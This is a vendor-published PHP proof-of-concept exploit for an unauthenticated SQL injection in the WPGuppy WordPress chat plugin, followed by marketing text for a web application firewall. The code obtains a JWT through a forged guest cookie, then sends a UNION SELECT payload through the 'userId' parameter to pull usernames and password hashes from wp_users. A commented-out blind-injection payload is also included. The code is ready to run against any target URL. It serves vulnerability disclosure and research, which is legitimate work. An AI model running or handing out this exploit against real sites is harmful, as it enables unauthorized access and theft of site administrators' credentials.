// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-107654 - One to one user Chat by WPGuppy <= 1.1.6 - Unauthenticated SQL Injection via 'userId' Parameter

$target_url = 'http://example.com'; // Change to your target WordPress site

// Step 1: Obtain a valid JWT by exploiting the guest account cookie
// The plugin signs a JWT using the value from the 'guppy_guest_account' cookie
$guest_value = 'attacker_controlled_value';
$cookie = 'guppy_guest_account=' . $guest_value;

// Request a token (endpoint may vary, this is a common pattern)
$token_url = $target_url . '/wp-json/wpguppy/v1/get-token';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $token_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['userType' => 0]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$response = curl_exec($ch);
curl_close($ch);

$token_data = json_decode($response, true);
$jwt = $token_data['token'] ?? null;

if (!$jwt) {
    die("Failed to obtain JWT. Check the token endpoint.n");
}

// Step 2: Exploit SQL injection via the 'userId' parameter
$vuln_url = $target_url . '/wp-json/wpguppy/v1/get-users';

// Payload to extract admin password hash (boolean-based blind example)
// $payload = "1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND SUBSTRING(user_pass,1,1)='$')-- -";

// For demonstration, use a UNION-based payload to extract data
$payload = "1 UNION SELECT user_login, user_pass FROM wp_users-- -";

$data = [
    'userId' => $payload,
    'userType' => 0
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vuln_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Authorization: Bearer ' . $jwt
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response:n$responsen";

// If successful, the response may contain the extracted data.
// Adjust the payload and endpoint as needed based on the actual plugin implementation.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.